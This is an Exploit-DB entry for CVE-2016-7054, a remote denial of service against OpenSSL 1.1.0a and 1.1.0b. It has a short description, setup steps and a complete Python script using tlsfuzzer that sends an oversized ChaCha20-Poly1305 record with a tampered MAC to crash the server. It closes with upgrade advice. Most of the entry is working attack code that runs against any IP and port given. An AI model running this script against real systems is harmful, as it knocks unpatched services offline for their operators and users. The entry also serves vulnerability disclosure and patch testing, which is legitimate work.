Exploit-DB #40899
Description: OpenSSL 1.1.0a/1.1.0b - Denial of Service
Type: dos
Platform: linux
Date: 2016-12-11
Author: Silverfox

Exploit:
# Exploit Title: OpenSSL 1.1.0a & 1.1.0b Heap Overflow Remote DOS vulnerability
# Date: 11-12-2016
# Software Link: https://www.openssl.org/source/old/1.1.0/
# Exploit Author: Silverfox
# Contact: http://twitter.com/___Silverfox___
# Website: https://www.silverf0x00.com/
# CVE: CVE-2016-7054
# Category: Denial of Service
# Type: Remote
# Platform: Multiple

1. Description
   
Remote unauthenticated user can negotiate ChaCha20-Poly1305 cipher suites and send a message of sufficient length with a bad MAC to trigger the vulnerable code to zero out the heap space and force the vulnerable OpenSSL instance to crash.

https://blog.fortinet.com/2016/11/23/analysis-of-openssl-chacha20-poly1305-heap-buffer-overflow-cve-2016-7054 
https://www.silverf0x00.com/overview-of-mac-algorithms-fuzzing-tls-and-finally-exploiting-cve-2016-7054-part-1/
 
   
2. Proof of Concept
 
 a. Download and compile OpenSSL 1.1.0a or b
 b. Run OpenSSL with the following switches: ./openssl-1.1.0a/bin/openssl s_server -cipher 'DHE-RSA-CHACHA20-POLY1305' -key cert.key -cert cert.crt -accept 443 -www -tls1_2 -msg
 c. Download and run the exploit code (Under https://github.com/silverfoxy/tlsfuzzer package run test-cve-2016-7054.py at https://github.com/silverfoxy/tlsfuzzer/blob/master/scripts/test-cve-2016-7054.py)
 d. OpenSSL Instance crashes causing DOS

### Exploit Code ###
'''
 *  In no event shall the author be liable
 *  for any direct, indirect, incidential, special, exemplary or
 *  consequential damages, including, but not limited to, procurement
 *  of substitute goods or services, loss of use, data or profits or
 *  business interruption, however caused and on any theory of liability,
 *  whether in contract, strict liability, or tort, including negligence
 *  or otherwise, arising in any way out of the use of this software,
 *  even if advised of the possibility of such damage.
'''
from __future__ import print_function
import traceback
import sys

from tlsfuzzer.runner import Runner
from tlsfuzzer.messages import Connect, ClientHelloGenerator, \
        ClientKeyExchangeGenerator, ChangeCipherSpecGenerator, \
        FinishedGenerator, ApplicationDataGenerator, \
        fuzz_encrypted_message
from tlsfuzzer.expect import ExpectServerHello, ExpectCertificate, \
        ExpectServerHelloDone, ExpectChangeCipherSpec, ExpectFinished, \
        ExpectAlert, ExpectClose, ExpectServerKeyExchange

from tlslite.constants import CipherSuite, AlertLevel, AlertDescription

def usage() :
    return 'Usage ./{} Destination_IP Destination_Port'.format(sys.argv[0])

def main():
    if len(sys.argv) < 3:
        print(usage())
        return -1
    conversations = {}
    # 16 chars: POLY1305 tag 128 bit
    # Tampering one bit suffices to damage the mac
    # The payload has to be long enough to trigger heap overflow
    n = 15000
    fuzzes = [(-1, 1)]
    for pos, val in fuzzes:
        conversation = Connect(sys.argv[1], int(sys.argv[2]))
        node = conversation
        ciphers = [CipherSuite.TLS_DHE_RSA_WITH_CHACHA20_POLY1305_SHA256]
        node = node.add_child(ClientHelloGenerator(ciphers))
        node = node.add_child(ExpectServerHello())
        node = node.add_child(ExpectCertificate())
        node = node.add_child(ExpectServerKeyExchange())
        node = node.add_child(ExpectServerHelloDone())
        node = node.add_child(ClientKeyExchangeGenerator())
        node = node.add_child(ChangeCipherSpecGenerator())
        node = node.add_child(FinishedGenerator())
        node = node.add_child(ExpectChangeCipherSpec())
        node = node.add_child(ExpectFinished())
        node = node.add_child(fuzz_encrypted_message(
            ApplicationDataGenerator(b"GET / HTTP/1.0\n" + n * b"A" + b"\n\n"), xors={pos:val}))
        node = node.add_child(ExpectAlert(AlertLevel.fatal,
                                          AlertDescription.bad_record_mac))
        node = node.add_child(ExpectClose())

        conversations["XOR position " + str(pos) + " with " + str(hex(val))] = \
                conversation

    # run the conversation
    good = 0
    bad = 0

    for conversation_name in conversations:
        conversation = conversations[conversation_name]
        #print(conversation_name + "...")
        runner = Runner(conversation)
        res = True
        try:
            runner.run()
        except:
            print("Error while processing")
            print(traceback.format_exc())
            res = False
        if res:
            good+=1
            print("OK")
        else:
            bad+=1

    print("Test end")
    print("successful: {0}".format(good))
    print("failed: {0}".format(bad))

    if bad > 0:
        sys.exit(1)

if __name__ == "__main__":
	main()
### End of Exploit Code ###

3. Solution:
   
Update OpenSSL to version 1.1.0c or later, versions earlier than 1.1.0a are not affected by this vulnerability.